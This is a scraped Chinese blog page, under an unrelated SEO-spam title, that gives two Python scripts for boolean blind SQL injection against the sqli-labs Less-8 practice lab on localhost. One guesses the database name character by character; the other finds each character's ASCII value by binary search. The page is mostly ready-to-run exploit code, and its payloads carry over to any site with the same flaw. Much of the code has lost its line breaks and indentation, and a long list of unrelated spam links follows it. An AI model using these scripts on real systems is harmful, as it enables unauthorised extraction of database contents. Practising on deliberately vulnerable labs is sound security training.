当前位置: 首页 > wzjs >正文

天津网站建设noajt麒麟seo

天津网站建设noajt,麒麟seo,免费制作网站net域名,设计图案方法一(直接使用字符盲注) import requests#目标URL url "http://127.0.0.1/sqli/Less-8/index.php"#要推断的数据库信息(例如:数据库名) database_name ""#字符集(可以根据需要扩展…

方法一(直接使用字符盲注)

import requests#目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"#要推断的数据库信息(例如:数据库名)
database_name = ""#字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "#推断数据库名的长度def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0#推断数据库名def get_database_name(length):db_name = ""for i in range(1, length + 1):for char in charset:  payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:db_name += charbreak  # 找到正确字符后跳出内层循环return db_name#主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

方法二(二分查找–利用Ascii将其转化为数字进行盲注)

import requests
import time# 配置目标URL和检测信息
BASE_URL = "http://127.0.0.1/sqli/Less-8/index.php"
SUCCESS_MESSAGE = "You are in..........."
MAX_LENGTH = 50  # 最大长度限制
DELAY = 0.1  # 请求间隔(秒)
ASCII_MIN = 32  # 空格字符
ASCII_MAX = 126  # 波浪线字符def check_injection(url, payload):"""发送请求并检查是否注入成功"""try:response = requests.get(url, params={"id": payload})time.sleep(DELAY)  # 避免请求过快return SUCCESS_MESSAGE in response.textexcept requests.RequestException as e:print(f"请求出错: {e}")return Falsedef binary_search(url, payload_template, min_val, max_val):"""使用二分查找确定ASCII值"""low, high = min_val, max_valwhile low <= high:mid = (low + high) // 2# 检查是否等于中间值eq_payload = payload_template.format(operator="=", value=mid)if check_injection(url, eq_payload):return mid# 检查是否小于中间值lt_payload = payload_template.format(operator="<", value=mid)if check_injection(url, lt_payload):high = mid - 1else:low = mid + 1return -1  # 未找到匹配值def get_database_length(url):"""使用二分查找获取数据库名长度"""print("正在获取数据库名长度...")low, high = 1, MAX_LENGTHwhile low <= high:mid = (low + high) // 2payload = f"1' AND (SELECT length(database()) = {mid}) -- "if check_injection(url, payload):print(f"数据库名长度: {mid}")return midpayload_lt = f"1' AND (SELECT length(database()) < {mid}) -- "if check_injection(url, payload_lt):high = mid - 1else:low = mid + 1print("无法确定数据库名长度")return 0def get_database_name(url, length):"""使用二分查找获取数据库名"""print("正在获取数据库名...")db_name = ""payload_template = "1' AND (SELECT ASCII(SUBSTRING(database(), {pos}, 1)) {{operator}} {{value}}) -- "for pos in range(1, length + 1):formatted_template = payload_template.format(pos=pos)ascii_code = binary_search(url, formatted_template, ASCII_MIN, ASCII_MAX)if ascii_code != -1:db_name += chr(ascii_code)print(f"已获取字符 {pos}/{length}: {db_name}")return db_namedef main():"""主函数"""print(f"开始对 {BASE_URL} 进行SQL注入测试")# 获取数据库名db_length = get_database_length(BASE_URL)if db_length <= 0:print("无法获取数据库信息,退出")returndb_name = get_database_name(BASE_URL, db_length)print(f"数据库名: {db_name}")if __name__ == "__main__":main()
http://www.dtcms.com/wzjs/548342.html

相关文章:

  • 用jsp做的网站的代码重庆做网站个人
  • 山东网站建设潍坊做网站的那家好
  • 英迈思做的网站怎么样嵌入式开发培训
  • 建立企业网站选什么好一个刚起步的公司要如何管理
  • 深圳响应式网站公司优化算法有哪些
  • 手机网店开店网站赣州培训学做网站
  • 最超值的网站建设企业网站建设费用详情
  • php盗版视频网站怎么做的制作灯笼需要什么材料
  • 广西建设官方网站建设六马路小学 网站
  • 怎样保存网站资料 做证据网站流量流出异常
  • 深圳做网站哪家网站建设小程序和app
  • 律师事务所公司类网站建设案例顶尖设计吧官网
  • win7 iis7 添加网站免费3d建模软件
  • 建网站需要买服务器吗塘沽网红书店
  • 电影购票网站开发背景做产品包装的3d网站
  • 手机软件上传网站三合一网站
  • 企业网站如何宣传广东省建设厅的注册中心网站
  • 网站建设实践报告zen cart 网站google plus
  • 工商联网站建设方案广告制作单位
  • 浙江建设工程造价信息网站wordpress单主题
  • 北京网站优化对策河南信阳网站建设公司电话
  • 网站商城支付宝开通怎么做成都app开发制作公司
  • 网站建设课程设计摘要百度提交网站入口网址
  • 学校网站建设作用unity3d培训班多少钱
  • 广州做网站技术常州承接网站建设
  • 网站开发管理制度产品效果图怎么做出来的
  • 江苏太平洋建设集团官方网站穆棱建设局网站
  • 做牙齿的招聘网站江西网络推广seo
  • 做网站怎样赚卖流量买软件网站建设
  • 做网站时如何建立栅格京津冀协同发展四区指的是